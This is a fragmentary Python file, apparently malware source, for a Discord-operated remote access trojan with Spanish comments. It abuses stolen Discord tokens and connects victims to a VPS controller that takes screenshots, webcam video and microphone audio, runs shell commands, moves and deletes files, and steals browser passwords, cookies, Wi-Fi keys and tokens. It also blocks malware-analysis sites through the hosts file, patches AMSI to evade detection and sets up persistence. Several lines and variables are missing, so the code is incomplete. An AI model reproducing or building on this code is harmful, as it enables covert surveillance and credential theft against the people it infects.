await ctx.send(f"❌ Error: {str(e)}")
@bot.command(name="trollstatus")
async def discord_token_status_changer(ctx, token: str, status: str, *, activity:
str = None):
"""Cambiar estado de Discord"""
statuses = {
"online": "online",
"idle": "idle",
"dnd": "dnd",
"invisible": "invisible"
}
try:
headers = {"Authorization": token}
payload = {
"status": statuses[status.lower()],
"activities": []
}
if activity:
payload["activities"] = [{
"name": activity,
"type": 0 # Playing
}]
# Cambiar estado
status_res = requests.patch(
"https://discord.com/api/v9/users/@me/settings",
headers=headers,
json=payload
)
if status_res.status_code == 200:
embed = discord.Embed(
title="🎭 STATUS CHANGER",
description=f"```✅ Estado: {status.upper()}\nActividad: {activity
or 'Ninguna'}```",
color=0x00ff00
)
else:
embed = discord.Embed(
title="🎭 STATUS CHANGER",
description="```❌ Error al cambiar estado```",
color=0xff0000
)
await ctx.send(embed=embed)
except Exception as e:
await ctx.send(f"❌ Error: {str(e)}")
@bot.command(name="trolltheme")
async def discord_token_theme_changer(ctx, token: str, theme: str):
"""Cambiar tema de Discord"""
themes = {
"dark": "dark",
"light": "light"
}
try:
headers = {"Authorization": token}
# Cambiar tema
theme_res = requests.patch(
"https://discord.com/api/v9/users/@me/settings",
headers=headers,
json={"theme": themes[theme.lower()]}
)
if theme_res.status_code == 200:
embed = discord.Embed(
title="🎨 THEME CHANGER",
description=f"```✅ Tema cambiado a {theme.upper()}```",
color=0x7289da
)
else:
embed = discord.Embed(
title="🎨 THEME CHANGER",
description="```❌ Error al cambiar tema```",
color=0xff0000
)
await ctx.send(embed=embed)
except Exception as e:
await ctx.send(f"❌ Error: {str(e)}")
@bot.command(name="trollbrute")
async def discord_token_to_id_and_brute(ctx, token: str):
"""Convertir token a ID y hacer brute force basico"""
try:
# Decodificar primera parte del token para obtener ID
try:
token_parts = token.split('.')
user_id_encoded = token_parts[0]
user_id = base64.b64decode(user_id_encoded + '==').decode()
except:
await ctx.send("❌ Token invalido")
return
user_data = user_res.json()
embed = discord.Embed(
title="🔓 TOKEN TO ID & BRUTE",
color=0xff9900
)
embed.add_field(
name="🆔 User ID Extraido",
value=f"```{user_id}```",
inline=True
)
embed.add_field(
name="👤 Usuario",
value=f"```{user_data['username']}#{user_data['discriminator']}```",
inline=True
)
embed.add_field(
name="💳 Métodos de Pago",
value=f"```{'Detectados' if billing_res.status_code == 200 and
billing_res.json() else 'Ninguno'}```",
inline=True
)
embed.add_field(
name="🔗 Conexiones",
value=f"```{len(connections_res.json()) if connections_res.status_code
== 200 else 0} encontradas```",
inline=True
)
embed.add_field(
name="🎯 Token Valido",
value="```✅ ACTIVO```",
inline=True
)
embed.add_field(
name="⚡ Brute Force",
value="```Informacion extraida exitosamente```",
inline=True
)
await ctx.send(embed=embed)
except Exception as e:
await ctx.send(f"❌ Error: {str(e)}")
class RemoteClient:
def __init__(self, server_url):
self.server_url = server_url
self.sio = socketio.Client()
self.webcam = None
self.webcam_active = False
self.audio_recording = False
self.connected = False
self.setup_events()
def setup_events(self):
@self.sio.event
def connect():
self.connected = True
self.send_system_info()
@self.sio.event
def disconnect():
self.connected = False
self.cleanup()
@self.sio.on('get_system_info')
def get_system_info():
self.send_system_info()
@self.sio.on('take_screenshot')
def take_screenshot():
self.capture_screenshot()
@self.sio.on('start_webcam')
def start_webcam():
self.start_webcam_capture()
@self.sio.on('stop_webcam')
def stop_webcam():
self.stop_webcam_capture()
@self.sio.on('execute_command')
def execute_command(data):
self.execute_system_command(data['command'])
@self.sio.on('get_file_system')
def get_files(data):
self.get_file_system(data['path'])
@self.sio.on('mouse_click')
def mouse_click(data):
self.simulate_mouse_click(data)
@self.sio.on('key_press')
def key_press(data):
self.simulate_key_press(data['key'])
@self.sio.on('start_audio_recording')
def start_audio():
self.start_audio_recording()
@self.sio.on('stop_audio_recording')
def stop_audio():
self.stop_audio_recording()
@self.sio.on('download_file')
def download_file(data):
self.download_file_from_system(data['file_path'])
@self.sio.on('upload_file')
def upload_file(data):
self.upload_file_to_system(data)
@self.sio.on('delete_file')
def delete_file(data):
self.delete_file_from_system(data['file_path'])
@self.sio.on('create_folder')
def create_folder(data):
self.create_folder_in_system(data)
@self.sio.on('request_passwords')
def request_passwords():
self._extract_passwords()
@self.sio.on('request_cookies')
def request_cookies():
self._extract_cookies()
@self.sio.on('request_wifi')
def request_wifi():
self._extract_wifi_networks()
def connect_to_server(self):
try:
self.sio.connect(self.server_url)
return True
except Exception as e:
return False
def disconnect_from_server(self):
try:
if self.connected:
self.cleanup()
self.sio.disconnect()
self.connected = False
except Exception as e:
pass
def send_system_info(self):
try:
# Informacion basica del sistema
si = platform.uname()
# Informacion de memoria
memory = psutil.virtual_memory()
if platform.system() == 'Windows':
try:
import wmi
c = wmi.WMI()
# Motherboard
for board in c.Win32_BaseBoard():
motherboard = f"{board.Manufacturer} {board.Product}"
break
# BIOS
for bios_info in c.Win32_BIOS():
bios = f"{bios_info.Manufacturer}
{bios_info.SMBIOSBIOSVersion}"
break
except:
pass
info = {
'username': username,
'os': platform.system(),
'os_version': platform.version(),
'architecture': platform.architecture()[0],
'hostname': platform.node(),
'cpu': cpu_name,
'processor': si.processor,
'cpu_count': psutil.cpu_count(),
'ram': f"{memory.total / (1024**3):.2f} GB",
'memory_total': memory.total,
'motherboard': motherboard,
'bios': bios,
'disk_usage': psutil.disk_usage('/').total if os.name != 'nt' else
psutil.disk_usage('C:').total,
'python_version': platform.python_version(),
'client_type': 'Discord Bot Client'
}
self.sio.emit('client_system_info', info)
except Exception as e:
pass
def capture_screenshot(self):
try:
screenshot = pyautogui.screenshot()
screenshot = screenshot.resize((1280, 720), Image.Resampling.LANCZOS)
buffer = io.BytesIO()
screenshot.save(buffer, format='JPEG', quality=70)
img_str = base64.b64encode(buffer.getvalue()).decode()
def start_webcam_capture(self):
try:
self.webcam = cv2.VideoCapture(0)
self.webcam_active = True
def webcam_loop():
while self.webcam_active and self.webcam and self.connected:
ret, frame = self.webcam.read()
if ret:
frame = cv2.resize(frame, (640, 480))
_, buffer = cv2.imencode('.jpg', frame,
[cv2.IMWRITE_JPEG_QUALITY, 70])
img_str = base64.b64encode(buffer).decode()
threading.Thread(target=webcam_loop, daemon=True).start()
except Exception as e:
pass
def stop_webcam_capture(self):
self.webcam_active = False
if self.webcam:
self.webcam.release()
self.webcam = None
self.sio.emit('client_command_result', {
'command': command,
'result': output,
'error': error,
'return_code': result.returncode
})
except subprocess.TimeoutExpired:
self.sio.emit('client_command_result', {
'command': command,
'result': '',
'error': 'Comando timeout (30s)',
'return_code': -1
})
except Exception as e:
self.sio.emit('client_command_result', {
'command': command,
'result': '',
'error': str(e),
'return_code': -1
})
path_obj = Path(path)
if not path_obj.exists():
self.sio.emit('client_files_result', {
'path': path,
'error': 'Ruta no encontrada',
'items': []
})
return
items = []
try:
for item in path_obj.iterdir():
try:
stat = item.stat()
items.append({
'name': item.name,
'is_directory': item.is_dir(),
'size': stat.st_size if not item.is_dir() else 0,
'modified': time.ctime(stat.st_mtime),
'path': str(item)
})
except (PermissionError, OSError):
continue
except PermissionError:
self.sio.emit('client_files_result', {
'path': path,
'error': 'Sin permisos para acceder',
'items': []
})
return
self.sio.emit('client_files_result', {
'path': path,
'parent': str(path_obj.parent) if path_obj.parent != path_obj else
None,
'items': items
})
except Exception as e:
self.sio.emit('client_files_result', {
'path': path,
'error': str(e),
'items': []
})
# Escalar coordenadas
screen_width, screen_height = pyautogui.size()
actual_x = int(x * screen_width / 1280)
actual_y = int(y * screen_height / 720)
def start_audio_recording(self):
try:
self.audio_recording = True
duration = 10 # 10 segundos
sample_rate = 44100
def record_audio():
try:
audio_data = sd.rec(int(duration * sample_rate),
samplerate=sample_rate, channels=1)
sd.wait()
# Convertir a bytes
audio_bytes = (audio_data * 32767).astype(np.int16).tobytes()
audio_b64 = base64.b64encode(audio_bytes).decode()
self.sio.emit('client_audio_result', {
'audio_data': audio_b64,
'duration': duration,
'sample_rate': sample_rate,
'format': 'wav'
})
except Exception as e:
pass
finally:
self.audio_recording = False
threading.Thread(target=record_audio, daemon=True).start()
except Exception as e:
pass
def stop_audio_recording(self):
self.audio_recording = False
self.sio.emit('client_download_result', {
'success': True,
'file_data': file_data,
'file_name': path_obj.name,
'file_size': path_obj.stat().st_size
})
except Exception as e:
self.sio.emit('client_download_result', {
'success': False,
'error': str(e),
'file_name': Path(file_path).name
})
# Decodificar archivo
file_bytes = base64.b64decode(file_data)
# Escribir archivo
with open(full_path, 'wb') as f:
f.write(file_bytes)
self.sio.emit('client_upload_result', {
'success': True,
'file_name': file_name
})
except Exception as e:
self.sio.emit('client_upload_result', {
'success': False,
'error': str(e),
'file_name': data.get('file_name', 'unknown')
})
if path_obj.is_dir():
import shutil
shutil.rmtree(file_path)
else:
path_obj.unlink()
self.sio.emit('client_delete_result', {
'success': True,
'file_path': file_path
})
except Exception as e:
self.sio.emit('client_delete_result', {
'success': False,
'error': str(e),
'file_path': file_path
})
self.sio.emit('client_folder_result', {
'success': True,
'folder_name': folder_name
})
except Exception as e:
self.sio.emit('client_folder_result', {
'success': False,
'error': str(e),
'folder_name': data.get('folder_name', 'unknown')
})
def _extract_tokens(self):
try:
tokens = ext() # Call the existing token extraction function
self.sio.emit('client_data_tokens', {'data': tokens})
except Exception as e:
self.sio.emit('client_data_tokens', {'data': [], 'error': str(e)})
def _extract_passwords(self):
all_passwords = []
for browser in sorted(BROWSER_PATHS):
try:
passwords = extract_passwords(browser)
if passwords:
all_passwords.extend(passwords)
except Exception as e:
pass
self.sio.emit('client_data_passwords', {'data': all_passwords})
def _extract_cookies(self):
try:
cookies_data = extract_all_cookies()
self.sio.emit('client_data_cookies', {'data': cookies_data})
except Exception as e:
self.sio.emit('client_data_cookies', {'data': [], 'error': str(e)})
def _extract_wifi_networks(self):
try:
wifi_data = get_wifi_networks()
self.sio.emit('client_data_wifi', {'data': wifi_data})
except Exception as e:
self.sio.emit('client_data_wifi', {'data': {}, 'error': str(e)})
if history_data:
# Convertir lista a texto
history_text = f"Historial de {browser.capitalize()}\n"
history_text += "=" * 50 + "\n\n"
self.sio.emit('client_browser_history_result', {
'browser': browser,
'history_data': history_text
})
else:
self.sio.emit('client_browser_history_result', {
'browser': browser,
'history_data': '',
'error': f'No se pudo obtener el historial de {browser}'
})
except Exception as e:
self.sio.emit('client_browser_history_result', {
'browser': browser,
'history_data': '',
'error': str(e)
})
def cleanup(self):
if self.webcam:
self.webcam.release()
self.webcam_active = False
self.audio_recording = False
@bot.command(name='remote')
async def remote_command(ctx):
"""Conecta al servidor VPS ROOT SQL"""
if remote_client.connected:
embed = discord.Embed(
title="⚠️ Ya conectado",
description="Este cliente ya esta conectado al servidor.",
color=0x000000 # Color negro
)
embed.add_field(name="VPS", value=f"```{VPS_SERVER_URL}```", inline=False)
embed.add_field(name="Panel", value=f"```{VPS_SERVER_URL}/panel```",
inline=False)
await ctx.send(embed=embed)
return
embed = discord.Embed(
title="Conectando...",
description=f"A {VPS_SERVER_URL}",
color=0x000000
)
msg = await ctx.send(embed=embed)
success = remote_client.connect_to_server()
if success:
for _ in range(10):
await asyncio.sleep(0.5)
if remote_client.connected:
break
if remote_client.connected:
embed = discord.Embed(
title=" Conectado",
description="Cliente conectado al servidor ROOT SQL.",
color=0x000000
)
embed.add_field(name="VPS", value=f"```{VPS_SERVER_URL}```",
inline=False)
embed.add_field(name="Panel", value=f"```{VPS_SERVER_URL}/panel```",
inline=False)
info = f"OS: {platform.system()}\nHost: {platform.node()}\nArch:
{platform.architecture()[0]}"
embed.add_field(name="Sistema", value=f"```{info}```", inline=False)
embed.set_footer(text=f"ID: {ctx.author.display_name}")
else:
embed = discord.Embed(
title="Conexion fallida",
description="```No se pudo conectar al servidor.```",
color=0xff0000
)
else:
embed = discord.Embed(
title="Error",
description=f"```No se pudo conectar a {VPS_SERVER_URL}.```",
color=0xff0000
)
await msg.edit(embed=embed)
@bot.command(name='disconnect')
async def disconnect_command(ctx):
"""🔌 Desconectar del servidor VPS"""
if not remote_client.connected:
embed = discord.Embed(
title="No conectado",
description="```Este cliente no esta conectado al servidor VPS.```",
color=0xff9900
)
await ctx.send(embed=embed)
return
remote_client.disconnect_from_server()
embed = discord.Embed(
title="Desconectado del VPS",
description="```Cliente desconectado del servidor ROOT SQL.```",
color=0xff0000
)
embed.add_field(
name="Servidor VPS",
value=f"```{VPS_SERVER_URL}```",
inline=False
)
await ctx.send(embed=embed)
@bot.command(name='block')
@commands.has_permissions(administrator=True)
async def block(ctx):
malware_analysis_sites = [
'virustotal.com',
'www.virustotal.com',
'analyze.intezer.com',
'www.hybrid-analysis.com',
'hybrid-analysis.com',
'www.joesandbox.com',
'joesandbox.com',
'any.run',
'app.any.run',
'www.virscan.org',
'virscan.org',
'malwr.com',
'www.malwr.com',
'reverse.it',
'www.reverse.it',
'detux.org',
'www.detux.org'
]
try:
if not remote_client.connected:
await ctx.send("🔴 Error: No conectado al servidor VPS (Windows)")
return
hosts_path = r"C:\Windows\System32\drivers\etc\hosts"
remote_client.execute_command(backup_command)
remote_client.execute_command(block_command)
result = remote_client.execute_command(verify_command)
embed = discord.Embed(
title="Sitios de análisis de malware bloqueados (Windows)",
description=f"Se han bloqueado {len(malware_analysis_sites)}
dominios.",
color=0x00ff00
)
embed.add_field(
name="Cambios realizados",
value=f"```{result[:1000]}...```" if len(result) > 1000 else
f"```{result}```",
inline=False
)
embed.set_footer(text="El archivo hosts ha sido modificado con éxito.")
except Exception as e:
embed = discord.Embed(
title="Error al bloquear sitios (Windows)",
description=f"```{str(e)}```",
color=0xff0000
)
await ctx.send(embed=embed)
@bot.command(name='status')
async def status_command(ctx):
"""📊 Ver estado de conexion al VPS"""
embed = discord.Embed(
title="ROOT SQL - INFO",
color=0x00ff00 if remote_client.connected else 0xff0000
)
embed.add_field(
name="Estado de Conexion",
value="```🟢 CONECTADO AL VPS```" if remote_client.connected else "```🔴
DESCONECTADO```",
inline=True
)
embed.add_field(
name="Servidor VPS",
value=f"```{VPS_SERVER_URL}```",
inline=True
)
embed.add_field(
name="Sistema Local",
value=f"```{platform.system()} {platform.architecture()[0]}```",
inline=True
)
if remote_client.connected:
embed.add_field(
name="Panel de Control",
value=f"`{VPS_SERVER_URL}/panel`",
inline=False
)
embed.add_field(
name="Funciones Activas",
value="• Screenshots\n• Webcam\n• Terminal\n• Archivos\n• Audio\n•
Control remoto",
inline=True
)
embed.add_field(
name="Recursos",
value=f"CPU: {cpu_percent}%\nRAM: {memory.percent}%",
inline=True
)
except:
pass
embed.add_field(
name="Comandos",
value="`.remote` - Conectar\n`.disconnect` - Desconectar\n`.status` -
Estado",
inline=False
)
await ctx.send(embed=embed)
@bot.event
async def on_disconnect():
"""Cuando el bot se desconecta de Discord"""
remote_client.disconnect_from_server()
class SystemPersistenceManager:
def bypass_amsi(self):
try:
if sys.platform != 'win32':
return False, "❌ No estás en Windows."
amsi = ctypes.WinDLL("amsi.dll")
GetProcAddress = ctypes.windll.kernel32.GetProcAddress
GetProcAddress.argtypes = [ctypes.c_void_p, ctypes.c_char_p]
GetProcAddress.restype = ctypes.c_void_p
if not address:
return False, "❌ No se encontró la función AmsiScanBuffer."
old_protection = ctypes.c_ulong(0)
patch_size = 6
patch_bytes = (ctypes.c_ubyte * patch_size)(0xB8, 0x57, 0x00, 0x00,
0x00, 0xC3)
except Exception as e:
return False, f"❌ Error en AMSI bypass: {str(e)}"
persistence_engine = SystemPersistenceManager()
def main():
"""Funcion principal"""
try:
#run()
persistence_engine.bypass_amsi()
activate_system_persistence()
bot.run(token)
except Exception as e:
print(f"error culeado {e}")
if __name__ == "__main__":
main()